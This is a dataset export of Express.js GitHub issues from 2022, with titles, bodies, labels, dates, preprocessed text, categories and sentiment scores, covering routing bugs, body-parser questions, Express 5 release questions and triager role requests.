PS I'm not trying to bust a conflict, I'm just interested in the work of my favorite framework, because. upset by a clear speed advantage in other analogues",discuss,2022-06-11 11:45:48+00:00,2022-06-15 19:20:38+00:00,9,discuss,4.3159,speed and latency of requests i using express in all my projects i like syntactics methods for ease of use lately i ve been starting to dig deeper into code optimization and better use of certain things to write efficient code image i recently stumbled across this benchmark you can check it out here with code examples and i m quite frustrated by the huge backlog from the express side it has an excellent base it is one of the most requested frameworks and i do not want and do not intend to switch to alternatives but this difference really saddens me may i know what is causing this backlog and will there be any work done on this in the future ps i m not trying to bust a conflict i m just interested in the work of my favorite framework because upset by a clear speed advantage in other analogues,feature,0.8765
expressjs/express,1267079135,Request triager role for tanishq-mishra,"I have read and understood the project's Code of Conduct.
I also have read and understood the process and best practices around Express triaging.

I request for a triager role for the following GitHub organizations:

jshttp
pillarjs
express",,2022-06-10 06:08:55+00:00,2022-06-28 17:34:00+00:00,2,nan,18.4758,request triager role for tanishq mishra i have read and understood the project s code of conduct i also have read and understood the process and best practices around express triaging i request for a triager role for the following github organizations jshttp pillarjs express,feature,0.6369
expressjs/express,1264438935,`express.text({ type: '*' })` doesn't parse requests bodies without `Content-Type` header on express 5.x,"```js
var express = require('express');

var app = express()

app.use(express.text({ type: '*' }));

app.put('*', (req, res) => {
  console.log('Request Body:', req.body);
  res.end();
});
```
now If you send a `PUT` request without `Content-Type` header, it will print this:
```js
Request Body: undefined
```
Which means `express.text` didn't work and thus `req.body` remained unpopulated.

**Workarounds**
Although a workaround like this works but it doesn't feel right. `type: '*'` is supposed to be able to handle everything.
```js
// working workaround
express.text({ type: () => true });
```

**Working Implementations**
https://github.com/touhidurrr/UncivServer.xyz/blob/03cf8bff12ab5e69fa416291906fae608e04e5bc/src/server.js#L49","question,module:body-parser",2022-06-08 09:12:35+00:00,2022-07-01 16:04:45+00:00,3,"question,module:body-parser",23.2862,doesn t parse requests bodies without header on express x now if you send a request without header it will print this which means didn t work and thus remained unpopulated workarounds although a workaround like this works but it doesn t feel right is supposed to be able to handle everything working implementations,feature,0.1901
expressjs/express,1264408907,When will a stable version express 5 is supposed to be released?,Currently we have `beta.1`. When will we get stable?,"5.x,question",2022-06-08 08:48:07+00:00,2023-06-04 16:47:12+00:00,26,"5.x,question",361.3327,when will a stable version express is supposed to be released currently we have when will we get stable,help,0.7184
expressjs/express,1248296872,express passes to next middleware even if `next()` is not called?,"In my code:
https://github.com/touhidurrr/UncivServer.xyz/blob/ed0271efafbe5372e47f6b59cb7d43910aec5622/src/server.js#L49-L74
Express passes to nex middleware even if `413 Payload Too Large` is sent.","5.x,awaiting more info",2022-05-25 15:44:01+00:00,2022-05-25 17:28:39+00:00,10,"5.x,awaiting more info",0.0727,express passes to next middleware even if is not called in my code express passes to nex middleware even if is sent,others,0.0
expressjs/express,1242837432,"Combinations of middleware series with ""app.all"" is broken since 4.18.0","Like all `app.METHOD()`, `app.all()` takes callback functions that, according to http://expressjs.com/en/4x/api.html#app.all can be

- A middleware function.
- A series of middleware functions (separated by commas).
- An array of middleware functions.
- A combination of all of the above.

Which should make this example perfectly valid:

```js
const express = require('express');
const app = express();

function mw1 (req, res, next) { next() };
function mw2 (req, res, next) { next() };
function mw3 (req, res, next) { next() };
function mw4 (req, res, next) { next() };
function mw5 (req, res, next) { next() };

app.all('/path',
    mw1, // x
    [
        mw2, // x
        [
            mw3, // x
            mw4 // x
        ],
    ],
    [
        mw5, // x
    ],
    (req, res, next) => res.send('OK')
);

app.use((req, res) => res.status(404).send('Not Found'));
app.listen(3000);
```

**However with express@4.18.0 (and also 4.18.1):**

```sh
curl -X GET http://localhost:3000/path  # Works (""OK"")
curl -X POST http://localhost:3000/path  # Does not work (404)
```

To make it work with POST, you can either

- Comment out any line with `// x`
- Change `app.all` to `app.post`
- Downgrade to express@4.17.3

This is a major bug for us since it changes the behaviour of `app.all` in a semver-minor version. I will try to figure out what causes this (must be between express 4.17.3 and 4.18.0).

I see that this is a quite extreme exampl... [TRUNCATED]",module:router,2022-05-20 08:52:15+00:00,2022-05-20 15:24:54+00:00,12,module:router,0.2727,combinations of middleware series with app all is broken since like all takes callback functions that according to can be a middleware function a series of middleware functions separated by commas an array of middleware functions a combination of all of the above which should make this example perfectly valid however with express and also to make it work with post you can either comment out any line with change to downgrade to express this is a major bug for us since it changes the behaviour of in a semver minor version i will try to figure out what causes this must be between express and i see that this is a quite extreme exampl truncated,others,0.1531
expressjs/express,1241674090,Is there any subtle difference between use() / * [],"``` js
// 1
app.use(fn)

// 2
app.use(`/`, fn)

// 3
app.use(`*`, fn)

// 4
app.use([], fn)
```",question,2022-05-19 12:07:15+00:00,2022-05-20 13:42:44+00:00,3,question,1.0663,is there any subtle difference between use,help,0.0
expressjs/express,1238540850,Mounted Routes with JS Classes,"The goal is to use the JS Class version of code, which is more efficient long term. When using the CLASS based JS, in the app.js file sample below, an error is received.

```js
// USERROUTER.JS FILE, MODULE.EXPORTS EXAMPLE
const router = express.Router();

router.post('/register', authController.signup);
router.post('/login', authController.login);
router.get('/logout', authController.logout);

module.exports = router;
```


```js
// USERROUTER.JS FILE, CLASS EXAMPLE
export class UserRouter {
    constructor() {}
    // Open to all users
    register() {
        router.post('/account-register', AuthController.prototype.register);
    }
    login() {
        router.post('/account-login', AuthController.prototype.login);
    }
    logout() {
        router.get('/account-logout', AuthController.prototype.logout);
    }
}
```

```js
// APP.JS FILE
// Mounted API Routes
const apiVersion = '1.0';
const apiRoutes = `/api/v${apiVersion}`;
app.use(`${apiRoutes}/users`, UserRouter);
```

**NOTE**<br>
This project is using Typescript. 

Class Example Error: ```TypeError: Class constructor UserRouter cannot be invoked without 'new'```<br>

When using ""new"" keyword, a different error is received. 

```js
// APP.JS FILE, Using the ""new"" keyword
app.use(`${apiRoutes}/users`, new UserRouter() );
```

Error W/ New Keyword: ```TypeError: Router.use() requires a middleware function but got a Object```",discuss,2022-05-17 12:07:06+00:00,2022-11-27 19:48:55+00:00,10,discuss,194.3207,mounted routes with js classes the goal is to use the js class version of code which is more efficient long term when using the class based js in the app js file sample below an error is received note this project is using typescript class example error when using new keyword a different error is received error w new keyword,others,-0.8363
expressjs/express,1236607753,4 argument function is not inferred as ErrorRequestHandler in Express.use,"```typescript
import {ErrorRequestHandler} from ""express"";
import express from ""express""

const errorHandler: ErrorRequestHandler = (err,req,res,next)=>{}

const app = express()

app.use(errorHandler) // Works well with typescript
app.use((err,req,res,next)=>{}) //     <-------  Wrong type here
```

All arguments(err~next) is `any` type. Is it intended? ",question,2022-05-16 04:33:50+00:00,2022-08-01 10:11:44+00:00,2,question,77.2347,argument function is not inferred as errorrequesthandler in express use all arguments err next is type is it intended,bug,-0.6369
expressjs/express,1236321118,"Better error message for broken statuses module (had ""TypeError: Cannot read properties of undefined (reading '302')"")","Hi! I had an odd situation where I messed up my local copy of the ""statuses"" module, apparently a few months ago, and discovered it only today because express failed with

> TypeError: Cannot read properties of undefined (reading '302')

in [lib/response.js line 963](https://github.com/expressjs/express/blob/631ada0c645dc84c6df8788f5a7eb2b8100acea5/lib/response.js#L963=).

Could we add a sanity check in express initialization that checks if `statuses.message` is at least truthy, and otherwise complain that the `statuses` module seems broken or incompatible and should be reinstalled? I could make a PR for that.",discuss,2022-05-15 15:36:36+00:00,2022-05-15 21:07:13+00:00,1,discuss,0.2296,better error message for broken statuses module had typeerror cannot read properties of undefined reading hi i had an odd situation where i messed up my local copy of the statuses module apparently a few months ago and discovered it only today because express failed with typeerror cannot read properties of undefined reading in lib response js line could we add a sanity check in express initialization that checks if is at least truthy and otherwise complain that the module seems broken or incompatible and should be reinstalled i could make a pr for that,bug,-0.9413
expressjs/express,1232103427,The default error handler is not catching URIError,"
```
app.use((error, req, res, next) => {
   if (error instanceof URIError) {
      return res.send(""uri error"")
   }

  if (error) {
      return res.send(""any error"")
   }   
   next()

  //  this is not catching URIError  
})


app.use((req, res, next)) => {
   try {
      decodeURIComponent(req.path)
    } catche(error) {
       return res.send(""uri error"")
   }
  next()

  // this works but if I add error arg it's not going to work
}

```",awaiting more info,2022-05-11 06:58:06+00:00,2022-05-12 16:39:11+00:00,3,awaiting more info,1.4035,the default error handler is not catching urierror,bug,-0.4588
expressjs/express,1231174339,Property `maxAge` shouldn't brutally crash on runtime when set to a very large number,"When invoking `res.cookie` with [Number.MAX_SAFE_INTEGER](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/MAX_SAFE_INTEGER), it crashes on runtime with the following error:

```
TypeError: option expires is invalid
    at Object.serialize (/client/node_modules/express/node_modules/cookie/index.js:161:13)
    at ServerResponse.res.cookie (/client/node_modules/express/lib/response.js:884:36)
```

If an error is thrown, A runtime validation should be performed on the API (which is the `maxAge` property). The option `expires` is an implementation detail.

Ideally, IMHO, an error should not be thrown (runtime errors are never acceptable). A sane default should be used as a fallback and a warning should be logged. The documentation should emphasise that `maxAge` expects a natural with a maximum limit.",question,2022-05-10 13:33:21+00:00,2022-05-10 13:46:58+00:00,2,question,0.0095,property shouldn t brutally crash on runtime when set to a very large number when invoking with number max safe integer it crashes on runtime with the following error if an error is thrown a runtime validation should be performed on the api which is the property the option is an implementation detail ideally imho an error should not be thrown runtime errors are never acceptable a sane default should be used as a fallback and a warning should be logged the documentation should emphasise that expects a natural with a maximum limit,bug,-0.9247
expressjs/express,1226641099,"Guidance needed: how safely use res.on('finish', ... ?","_(I also wrote this up a question on SO here: https://stackoverflow.com/q/72114468/4396258, sorry for the xpost spam)_

This isn't a bug or anything, so apologies for opening an issue, but given the ubiquitousness of this pattern, I thought it reasonable to try and get some sort of official stance on the subject, hence the issue.

So here's a very common pattern to do a thing after a response:

```js
const responseTime = (_, res, next) => {
    function finish() {
        // calculate time taken for request
        const [seconds, nanoseconds] = process.hrtime(startAt);
        const milliseconds = seconds * 1e3 + nanoseconds * 1e-6;
        res.locals['responseTime'] = milliseconds;
    }

    // cleanup to remove memory leaks(???)
    function cleanup() {
        res.removeListener('finish', finish);
        res.removeListener('error', cleanup);
        res.removeListener('close', cleanup);
    }

    res.once('finish', finish);
    res.once('error', cleanup);
    res.once('close', cleanup);

    next();
};
```

[Random real world example of this in the wild](https://github.com/instructure/canvas-rce-api/blob/master/app/middleware/stats.js) - this was the first result i grabbed, I've seen this pattern in a bunch of codebases: https://grep.app/search?q=res.removeListener%28&filter%5Blang%5D%5B0%5D=TypeScript&filter%5Blang%5D%5B1%5D=JavaScript

My question is - is this just cargo cult? Or does this more minimal version work?

```js
const res... [TRUNCATED]",question,2022-05-05 12:59:30+00:00,2022-05-05 13:38:34+00:00,2,question,0.0271,guidance needed how safely use res on finish i also wrote this up a question on so here sorry for the xpost spam this isn t a bug or anything so apologies for opening an issue but given the ubiquitousness of this pattern i thought it reasonable to try and get some sort of official stance on the subject hence the issue so here s a very common pattern to do a thing after a response random real world example of this in the wild this was the first result i grabbed i ve seen this pattern in a bunch of codebases my question is is this just cargo cult or does this more minimal version work js const res truncated,help,-0.2357
expressjs/express,1217955271,The `max sync stack` is breaking routing,"We recently updated to v4.18.0 and find some routes are not working anymore due to https://github.com/expressjs/express/commit/708ac4cdf5cd0a658d62490a9f4d78d3e1ec6612.

1. This `100` limitation is not in the change log http://expressjs.com/en/changelog/4x.html#4.18.0. Can you help update it?
2. Can this value be configurable?

Thanks","bug,module:router",2022-04-27 22:45:25+00:00,2022-04-29 17:35:29+00:00,5,"bug,module:router",1.7848,the is breaking routing we recently updated to v and find some routes are not working anymore due to this limitation is not in the change log can you help update it can this value be configurable thanks,bug,0.705
expressjs/express,1211100370,Shopify App Running on React/Express: Cannot read properties of undefined (reading 'from'),"Hi, it would be great if somebody could take a look at an issue (a bug I suspect) I'm having. Appreciate any time spent.

Context:

I'm building a Shopify app (based on the Shopify Polaris framework) and haven't experienced this issue before. Throughout the development of the application, no errors of this type have been encountered. It seems very arbitrary and unlikely, but after small updates, this error started popping up and interfering with programming - I removed all changes I made that day to see if it would help, but it didn't. I've attached as much information as I find relevant below. Please let me know if it's not structured enough, not enough information, or too much information.

I'm running the latest version of express (see below for package.json)

```
{
  ""name"": ""shopify-app-node"",
  ""private"": true,
  ""scripts"": {
    ""build"": ""npm run build:client"",
    ""build:client"": ""vite build --outDir dist/client"",
    ""debug"": ""node --inspect-brk server/index.js"",
    ""dev"": ""cross-env NODE_ENV=development nodemon server/index.js --watch ./server"",
    ""prepare"": ""husky install"",
    ""preserve"": ""npm run build"",
    ""serve"": ""cross-env NODE_ENV=production node server/index.js"",
    ""start"": ""npm run serve"",
    ""test"": ""vitest --reporter=verbose""
  },
  ""type"": ""module"",
  ""engines"": {
    ""node"": "">=16.13.0""
  },
  ""dependencies"": {
    ""@apollo/client"": ""^3.5.10"",
    ""@shopify/app-bridge"": ""^2.0.22"",
    ""@shopify/app-bridge-react"": ""^... [TRUNCATED]",awaiting more info,2022-04-21 14:08:39+00:00,2022-04-27 23:58:16+00:00,3,awaiting more info,6.4095,shopify app running on react express cannot read properties of undefined reading from hi it would be great if somebody could take a look at an issue a bug i suspect i m having appreciate any time spent context i m building a shopify app based on the shopify polaris framework and haven t experienced this issue before throughout the development of the application no errors of this type have been encountered it seems very arbitrary and unlikely but after small updates this error started popping up and interfering with programming i removed all changes i made that day to see if it would help but it didn t i ve attached as much information as i find relevant below please let me know if it s not structured enough not enough information or too much information i m running the latest version of express see below for package json name shopify app node private true scripts build npm run build client build client vite build outdir dist client debug node inspect brk server index js dev cross env node env development nodemon server index js watch server prepare husky install preserve npm run build serve cross env node env production node server index js start npm run serve test vitest reporter verbose type module engines node dependencies apollo client shopify app bridge shopify app bridge react truncated,others,0.6059
expressjs/express,1209944514,I want to contribute to Express.JS development with a library,"Hi, I want to contribute with a library called [recursive-routing](https://github.com/RobotoSkunk/recursive-routing). This library sets up an entire routing from a directory just calling one function.

This project it's inspired by another called `express-recursive-routes`, but with more options, more freedom and without using deprecated JavaScript features.",,2022-04-20 16:43:45+00:00,2022-04-20 16:45:14+00:00,0,nan,0.001,i want to contribute to express js development with a library hi i want to contribute with a library called recursive routing this library sets up an entire routing from a directory just calling one function this project it s inspired by another called but with more options more freedom and without using deprecated javascript features,others,0.876
expressjs/express,1206791972,ExpressJS 5 - Promise returned in function argument where a void return was expected.,"I am trying to use async and await in Typescript with ExpressJS 5 beta 1 and getting the following error:

`Promise returned in function argument where a void return was expected.eslint[@typescript-eslint/no-misused-promises](https://typescript-eslint.io/rules/no-misused-promises)`

I had anticipated this would no longer be the case in ExpressJS 5, as noted by the ESLint maintainers: https://github.com/standard/eslint-config-standard-with-typescript/issues/613

Have I missed something, or is this still not handled in Express 5?

```
function testFunction() {
  return new Promise((resolve) => {
    setTimeout(() => {
      resolve('test')
    }, 1000)
  })
}

router.get('/v1/sdk/device', async (_req, res) => {
  const test = await testFunction()
  console.log(test)
  res.send()
})
```

<img width=""982"" alt=""Screenshot 2022-04-18 at 09 05 50"" src=""https://user-images.githubusercontent.com/64841595/163777628-dd5d3896-e6ad-4214-ac8a-b07cc0ffc6c1.png"">

","5.x,question",2022-04-18 08:02:59+00:00,2022-04-18 14:00:57+00:00,5,"5.x,question",0.2486,expressjs promise returned in function argument where a void return was expected i am trying to use async and await in typescript with expressjs beta and getting the following error i had anticipated this would no longer be the case in expressjs as noted by the eslint maintainers have i missed something or is this still not handled in express img width alt screenshot at src,help,-0.7351
expressjs/express,1197541438,Error: Route.get() requires a callback function but got a [object Undefined],"I am using typescript in my project and when I develop with nodemon I get the following error:
```console
Error: Route.get() requires a callback function but got a [object Undefined]
    at Route.<computed> [as get] (M:\repos\web\api-rest\node_modules\express\lib\router\route.js:202:15)
    at Function.proto.<computed> [as get] (M:\repos\web\api-rest\node_modules\express\lib\router\index.js:516:19)                                                                               :202:15)
    at Object.<anonymous> (M:\repos\web\api-rest\src\routes\users.ts:11:8)                      \index.js:516:19)
    at Module._compile (node:internal/modules/cjs/loader:1101:14)
    at Module.m._compile (M:\repos\web\api-rest\node_modules\ts-node\src\index.ts:1455:23)      
    at Module._extensions..js (node:internal/modules/cjs/loader:1153:10)
    at Object.require.extensions.<computed> [as .ts] (M:\repos\web\api-rest\node_modules\ts-node\src\index.ts:1458:12)                                                                          \src\index.ts:1458:12)
    at Module.load (node:internal/modules/cjs/loader:981:32)
    at Function.Module._load (node:internal/modules/cjs/loader:822:12)
    at Module.require (node:internal/modules/cjs/loader:1005:19)
```
but when I compile it with ""tsc"" and executor normally with node it works correctly
Below is the code I am using:
```typescript
//controllers/users.ts

import users from './users.json'
import type { Request, Response } from '... [TRUNCATED]",,2022-04-08 16:40:43+00:00,2022-04-08 16:45:09+00:00,4,nan,0.0031,error route get requires a callback function but got a object undefined i am using typescript in my project and when i develop with nodemon i get the following error but when i compile it with tsc and executor normally with node it works correctly below is the code i am using typescript controllers users ts import users from users json import type request response from truncated,bug,-0.7184
expressjs/express,1197009807,Router test runs into timeout issues on slow aarch64 hardware,"We encounter a ""Timeout of 2000ms exceeded"" error on a rather low-powered `aarch64` device when running `npm run test-ci`:

    Router
    ✔ should return a function with router methods
    ✔ should support .use of other routers (38ms)
    ✔ should support dynamic routes
    ✔ should handle blank URL
    ✔ should handle missing URL
    1) should not stack overflow with many registered routes
    
    17 passing (5s)
    1 failing
    
      1) Router
           should not stack overflow with many registered routes:
         Error: Timeout of 2000ms exceeded. For async tests and hooks, ensure ""done()"" is called; if returning a Promise, ensure it resolves. (/opt/express/test/Router.js)
          at /opt/express/test/Router.js:73:11
          at Layer.handle [as handle_request] (lib/router/layer.js:35:103)
          at next (lib/router/route.js:36:802)
          at Route.dispatch (lib/router/route.js:34:677)
          at Layer.handle [as handle_request] (lib/router/layer.js:35:103)
          at /opt/express/lib/router/index.js:82:415
          at Function.process_params (lib/router/index.js:93:170)
          at next (lib/router/index.js:82:31)
          at Function.handle (lib/router/index.js:67:194)
          at Context.<anonymous> (test/Router.js:76:12)
          at processImmediate (node:internal/timers:464:21)

## Reproducer

I run this on an emulated `aarch64` VM on my x86_64 laptop. The issue occurs on one of our hardware aarch64 workers

  ... [TRUNCATED]",tests,2022-04-08 08:30:12+00:00,2022-04-27 23:36:09+00:00,1,tests,19.6291,router test runs into timeout issues on slow aarch hardware we encounter a timeout of ms exceeded error on a rather low powered device when running router should return a function with router methods should support use of other routers ms should support dynamic routes should handle blank url should handle missing url should not stack overflow with many registered routes passing s failing router should not stack overflow with many registered routes error timeout of ms exceeded for async tests and hooks ensure done is called if returning a promise ensure it resolves opt express test router js at opt express test router js at layer handle as handle request lib router layer js at next lib router route js at route dispatch lib router route js at layer handle as handle request lib router layer js at opt express lib router index js at function process params lib router index js at next lib router index js at function handle lib router index js at context test router js at processimmediate node internal timers reproducer i run this on an emulated vm on my x laptop the issue occurs on one of our hardware aarch workers truncated,bug,-0.1027
expressjs/express,1190946627,The router restore function can incorrectly set variables to undefined,"I found a case where `request.params` becomes undefined. Here is a concrete test case to reproduce the case:

```javascript
// test/app.router.js

it('should have req.params in finish event after handler2 calls next', function(done){
  var app = express();

  function handler1(req, res, next) {
    res.once('finish', function() {
      setTimeout(function() {
        assert(req.params.id);
      })
    })

    next()
  }

  function handler2(req, res, next){
    res.end(req.params.id);
    next()
  }

  app.get('/user/:id', handler1, handler2);

  request(app)
  .get('/user/1')
  .expect(200, '1', done);
})
```

The test runs fine if there is no `next` call in `handler2`. The `setTimeout` in `handler1` ensures that the test fails.

As I understand it, the last `next` will cause the function `done` to be called in the router:

```javascript
// lib/router/index.js

// no more matching layers
if (idx >= stack.length) {
    setImmediate(done, layerError);
    return;
}
```

The problem is that `done` is not working correctly in this case. If there are middlewares and no router the `done` function will replace `baseUrl`, `next`, and `params` with the value `undefined`.

```javascript
// lib/router/index.js

// restore vals
for (var i = 0; i < props.length; i++) {
    obj[props[i]] = vals[i];
}
```

Hence the `setTimeout` in the `handler1`. Without a timeout, the `handler1` function mostly finishes successfully before `done` i... [TRUNCATED]","question,module:router",2022-04-03 14:26:13+00:00,2022-04-03 16:13:04+00:00,4,"question,module:router",0.0742,the router restore function can incorrectly set variables to undefined i found a case where becomes undefined here is a concrete test case to reproduce the case the test runs fine if there is no call in the in ensures that the test fails as i understand it the last will cause the function to be called in the router the problem is that is not working correctly in this case if there are middlewares and no router the function will replace and with the value hence the in the without a timeout the function mostly finishes successfully before i truncated,help,-0.0772
expressjs/express,1185274527,Weird req.query behavior,"Hi! I recently encountered an interesting case of how query string shows up in `req.query` in my logs.

Normal call: `https://some-api.com/?tags=tag1,tag2,tag3`

```
{
  tags: ""tag1,tag2,tag3""
}
```


Weird/potentially dangerous: `https://some-api.com/?tags=tag1,tag2,tag3&tags[i]=tag4` <- notice this `tags[i]=<value>`

Here's how the req.query looks like:
```
{
  tags: [""tag1"", ""tag2"", ""tag3"", { i: ""tag"" }]
}
```

I would expect `tags` to be a string just like in normal call.
It shouldn't suddenly turn to an array with strings and an object at the end.",question,2022-03-29 18:48:20+00:00,2022-03-29 18:52:35+00:00,2,question,0.003,weird req query behavior hi i recently encountered an interesting case of how query string shows up in in my logs normal call weird potentially dangerous notice this here s how the req query looks like i would expect to be a string just like in normal call it shouldn t suddenly turn to an array with strings and an object at the end,help,0.296
expressjs/express,1185194731,Augment file before sending with .sendFile,"Is there a way to intercept and augment the file being sent with `res.sendFile()`? I'd like to use `.sendFile` over just using `.send` because I have a dual server-based / react application, and I use the `root` option to toggle between.","discuss,question",2022-03-29 17:33:28+00:00,2022-05-10 15:54:17+00:00,2,"discuss,question",41.9311,augment file before sending with sendfile is there a way to intercept and augment the file being sent with i d like to use over just using because i have a dual server based react application and i use the option to toggle between,help,0.3612
expressjs/express,1182384138,Iget double slashes.,"When i go to my site api.kimane.se/login i get ""Cannot get //login"" so the express app has appended one slash at the beggining of the path.","discuss,question",2022-03-27 06:36:09+00:00,2022-04-03 16:25:43+00:00,10,"discuss,question",7.4094,iget double slashes when i go to my site api kimane se login i get cannot get login so the express app has appended one slash at the beggining of the path,help,-0.4404
expressjs/express,1182193888,Request triager role for ghousemohamed,"Hi folks,

I've been using express in many clients as well as side projects. But I've never understood fully well
the internals of it all. I've been browsing the code for well over a week now trying to understand it, and
I'm really interested in getting my hands dirty trying to understand how it's all built and would love to
contribute. I've been actively contributing to Ruby on Rails, and have just now begun to go through the
Phoenix framework. As an extension of my efforts, I would also like to find out how I can contribute to express.

1. [My RoR contributions](https://github.com/rails/rails/pulls?page=1&q=author%3Aghousemohamed)
2. [My Phoenix contributions](https://github.com/phoenixframework/phoenix/pulls/ghousemohamed)

- [x] I have read and understood the project's Code of Conduct.
- [x] I also have read and understood the process and best practices around Express triaging.

I request for a triager role for the following GitHub organizations:

- [x] jshttp
- [x] pillarjs
- [x] express",discuss,2022-03-27 00:12:48+00:00,2022-04-03 00:17:42+00:00,1,discuss,7.0034,request triager role for ghousemohamed hi folks i ve been using express in many clients as well as side projects but i ve never understood fully well the internals of it all i ve been browsing the code for well over a week now trying to understand it and i m really interested in getting my hands dirty trying to understand how it s all built and would love to contribute i ve been actively contributing to ruby on rails and have just now begun to go through the phoenix framework as an extension of my efforts i would also like to find out how i can contribute to express my ror contributions my phoenix contributions x i have read and understood the project s code of conduct x i also have read and understood the process and best practices around express triaging i request for a triager role for the following github organizations x jshttp x pillarjs x express,feature,0.9771
expressjs/express,1173866719,Allow default value for express.json(),"In v4.17.3 `request.body` falls back to an empty object in case no request body was provided. This is not helpful when trying to validate the request body, as I have no idea if the user actually sent `{}`, or no response was sent at all, and the body parser decided to make it an empty object.

I'd suggest allowing:

```js
app.use(express.json({ default: undefined }))
```

Or something similar, that would allow overwriting the no response body behaviour in a backward compatible way.",module:body-parser,2022-03-18 18:00:52+00:00,2022-03-18 18:03:27+00:00,3,module:body-parser,0.0018,allow default value for express json in v falls back to an empty object in case no request body was provided this is not helpful when trying to validate the request body as i have no idea if the user actually sent or no response was sent at all and the body parser decided to make it an empty object i d suggest allowing or something similar that would allow overwriting the no response body behaviour in a backward compatible way,others,-0.6164
expressjs/express,1170536601,Questions: Express next() parameter in a function,"When i built auth app

My middlewares:
- protected (for check token)
- controllers (to validate body data and interact with services)
- exceptions (sent error status to client if internal error thrown)

when i use `next(id)` on protected middleware it throws and error and skip controllers. 
It goes to exceptions middleware (skip the controllers). In my case i need pass id to the expected contollers but it gives error.

and work excatly as expected, when i change my code to
```js
try{
    const {id} = await verifyToken()
    req.id = id
    next()
}catch(error){
    next(error)
}
```

My question:
if i pass a parameter to next() interface, does it redirect to express internal error handler? even if i dont use try-catch statements",question,2022-03-16 04:45:30+00:00,2022-03-16 04:50:38+00:00,5,question,0.0036,questions express next parameter in a function when i built auth app my middlewares protected for check token controllers to validate body data and interact with services exceptions sent error status to client if internal error thrown when i use on protected middleware it throws and error and skip controllers it goes to exceptions middleware skip the controllers in my case i need pass id to the expected contollers but it gives error and work excatly as expected when i change my code to my question if i pass a parameter to next interface does it redirect to express internal error handler even if i dont use try catch statements,help,-0.8537
expressjs/express,1167650488,"RFC: drop mutation of IncomingMessage owned fields, write only to new, augmented fields","# Problem

`express` mutates `req.url`, and saves the un-mutated version onto `originalUrl`, making URL driven _generic_ middleware hard to design.

Ref: https://github.com/chimurai/http-proxy-middleware/pull/723

Apologies if this topic has already been discussed, I did execute a cursory search and didn't see it, but I miss things time to time.

# Context

`http.IncomingMessage` is the `http` module's owned memory, and thus could be considered memory not open for writing. The writing to this memory prevents me from fixing problematic typescript issues in `http-proxy-middleware`. To make `http-proxy-middleware` generic is to decouple it from all frameworks that it supports--express, connect, raw http, koa, fastify, ...the works!

However, because express mutates req.url, I cannot trust `http.IncomingMessage::url`, and either have to:

1. burden users with passing to HPM the same prefix they  use in `app.use(prefix, ...)`, then additionally track that prefix internally to the HPM lib, or
2. have `express` conditionals within HPM that sniff specifically for indicators of this framework, and use alternate logic.
    1. this is the current state of http-proxy-middleware, but to make it play nicely with other server providers, we're now trying to avoid this

# Solutions

1. write to new, owned memory only:

```js
// GET /api/foo/bar
req.url // untouched, /api/foo/bar

app.use('/api', ...)
req.express.url // /foo/bar
req.express.base // /api
```

2. d... [TRUNCATED]",question,2022-03-13 18:00:02+00:00,2022-03-13 18:19:11+00:00,5,question,0.0133,rfc drop mutation of incomingmessage owned fields write only to new augmented fields problem mutates and saves the un mutated version onto making url driven generic middleware hard to design ref apologies if this topic has already been discussed i did execute a cursory search and didn t see it but i miss things time to time context is the module s owned memory and thus could be considered memory not open for writing the writing to this memory prevents me from fixing problematic typescript issues in to make generic is to decouple it from all frameworks that it supports express connect raw http koa fastify the works however because express mutates req url i cannot trust and either have to burden users with passing to hpm the same prefix they use in then additionally track that prefix internally to the hpm lib or have conditionals within hpm that sniff specifically for indicators of this framework and use alternate logic this is the current state of http proxy middleware but to make it play nicely with other server providers we re now trying to avoid this solutions write to new owned memory only d truncated,feature,-0.7303
expressjs/express,1162831138,`res.clearCookie()` does not ignore `maxAge`,"Hi everyone!
I just ran into a bug, where `res.clearCookie()` does not work properly.

## What happen?
According to the typescript definitions, `res.clearCookie()` accepts `CookieOptions` as a second parameter (see [here](https://github.com/DefinitelyTyped/DefinitelyTyped/blob/23e0b071471f0120d7c03c5abf206f41e832133b/types/express-serve-static-core/index.d.ts#L920)) which includes the `maxAge` attribute. But if the `maxAge` is set, the cookie won't be deleted.

## What do I expect?
`.clearCookie()`should ignore (or delete) the `maxAge` attribute, because it is used to calculate the `expire` attribute afterwards in `.cookie()`;

## Research
I already located the bug and would like to provide a pr to fix this.
",5.x,2022-03-08 15:58:58+00:00,2025-03-19 01:56:24+00:00,9,5.x,1106.4149,does not ignore hi everyone i just ran into a bug where does not work properly what happen according to the typescript definitions accepts as a second parameter see here which includes the attribute but if the is set the cookie won t be deleted what do i expect should ignore or delete the attribute because it is used to calculate the attribute afterwards in research i already located the bug and would like to provide a pr to fix this,others,0.8865
expressjs/express,1160754069,Question about v5 supporting old Node versions,"Mostly/Probably a silly question regarding Node support, *but why keep maintaining old node versions?*

AFAIK by dropping the old versions of Node and setting a somewhat newer version like v8 at least would not only take advantage of new features but also allow the framework to reduce a considerable amount of code.

V5 will still require the same good old **Node.js 4+** from 2015 and that's the piece I don't process.

As the V5 would be a major release, wouldn't be a good idea to detach that old support in favor of a cleaner code that could potentially make Express faster?

That was something I've been thinking over the past days while testing the V5, I definitely know it's nice to give support for old versions, but I guess it should be a limit of how much should be sacrificed in favor of it.

Anywho, I know for a fact this won't happen soon, but it might be something nice to have in mind on following discussions across the community.

**Side note here:** My company mostly sticks on the LTS version, and we've upgraded the last services from Node v12 to v16 last year which gave us a nice performance increase overall. I'm wondering how fast Express would be by dropping support to old versions.

Cheers 👋 
",question,2022-03-06 23:56:20+00:00,2022-03-06 23:59:41+00:00,1,question,0.0023,question about v supporting old node versions mostly probably a silly question regarding node support but why keep maintaining old node versions afaik by dropping the old versions of node and setting a somewhat newer version like v at least would not only take advantage of new features but also allow the framework to reduce a considerable amount of code v will still require the same good old node js from and that s the piece i don t process as the v would be a major release wouldn t be a good idea to detach that old support in favor of a cleaner code that could potentially make express faster that was something i ve been thinking over the past days while testing the v i definitely know it s nice to give support for old versions but i guess it should be a limit of how much should be sacrificed in favor of it anywho i know for a fact this won t happen soon but it might be something nice to have in mind on following discussions across the community side note here my company mostly sticks on the lts version and we ve upgraded the last services from node v to v last year which gave us a nice performance increase overall i m wondering how fast express would be by dropping support to old versions cheers,help,0.997
expressjs/express,1156873459,express still need “view engines”？,"Most people on my side use express just for api server。

So, why not remove “view engines” out as a middleware like a single npm package？",question,2022-03-02 09:19:50+00:00,2022-03-25 04:10:48+00:00,2,question,22.7854,express still need view engines most people on my side use express just for api server so why not remove view engines out as a middleware like a single npm package,help,0.3612
